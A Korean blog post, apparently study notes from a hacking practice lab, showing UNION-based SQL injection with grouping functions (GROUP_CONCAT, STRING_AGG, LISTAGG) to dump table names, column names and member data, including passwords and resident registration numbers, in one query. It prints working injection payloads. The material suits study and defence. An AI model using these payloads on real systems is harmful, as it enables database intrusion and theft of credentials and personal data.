Oh! JUN

그룹핑을 활용한 데이터 조회 공격 본문

웹 해킹/SQL Injection

그룹핑을 활용한 데이터 조회 공격

Kwon Oh! JUN 2022. 9. 29. 01:01

지금까지 다중 레코드를 한번에 출력할 수 없기 때문에 순차적 레코드를 사용해서 하나씩 출력했는데 이번에 그룹핑을 활용해 한번에 출력시킬것이다.

 

DBMS FUCTION
MYSQL GROUP_CONCAT()
MSSQL FOR XML PATH(), STRING_AGG()
ORACLE LISTAGG()

 

MSSQL 예시
1) FOR XML PATH 함수 사용 예시

select '###' + name from sysobjects where xtype='u' FOR XML PATH('')

- STUFF 활용 예시(앞의 ### 제거)
select stuff((select '###' + name from sysobjects where xtype='u' FOR XML PATH('')),1,3,'')

2) STRING_AGG 함수 사용 예시

select string_agg(name, '###') as name from sysobjects where xtype='u'

 

MYSQL 예시
select group_concat(schema_name, '###') from information_schema.schemata;

 

ORACLE 예시
select listagg(table_name, '###') within group(order by table_name) from all_tables where owner='C##CREHACKTIVE';

within group(order by table_name) : 생략 가능


union을 활용해서 특정 컬럼에 찾고자 하는 값을 그룹핑해서 한번에 출력시킬것이다.


먼저, 컬럼의 개수를 파악하기 위해 order by 사용해봤다.

idx=1 order by 7--에서는 정상적으로 출력되고, idx=1 order by 8--에서는 오류가 발생하는걸로 확인된다.

해당 페이지의 컬럼은 7개이다.


컬럼 위치를 알아보기 위해 null에 'a'를 넣어보았다.

idx=1 and 1=2 union all select null, 'a', null, null, null, null, null from dual--

두번째 컬럼에 'a'를 넣어보니까 Title란에 'a'가 출력되는걸 확인했다.

여기에 이제 우리가 원하는 쿼리를 집어넣어서 값을 확인할 수 있다.


URL 인코딩해야되서 burp로 시도했다.

1 and 1=2 union all select null, listagg(table_name, '###'), null, null, null, null, null from all_tables where owner='C##CREHACKTIVE'--

한번에 C##CREHACKTIVE 사용자의 Table이 TB_BOARD, MEMBERS, TEST가 있음을 확인했다.


이번에는 컬럼을 구해보자

사용자 'C##CREHACKTIVE'의 테이블 'MEMBERS'의 column은 IDX, ID, PASSWORD, JUMIN이다.


마지막으로 데이터 값도 구해보자

사용자 'C##CREHACKTIVE'의 테이블 'MEMBERS'의 DATA가 한번에 출력된걸 확인할 수 있다.

 


+ Error-Based 공격에서도 그룹핑 가능!!

 

blind-SQL Injection으로 노가다 하다가 UNION하고 그룹핑 쓰니까 너무 좋다!!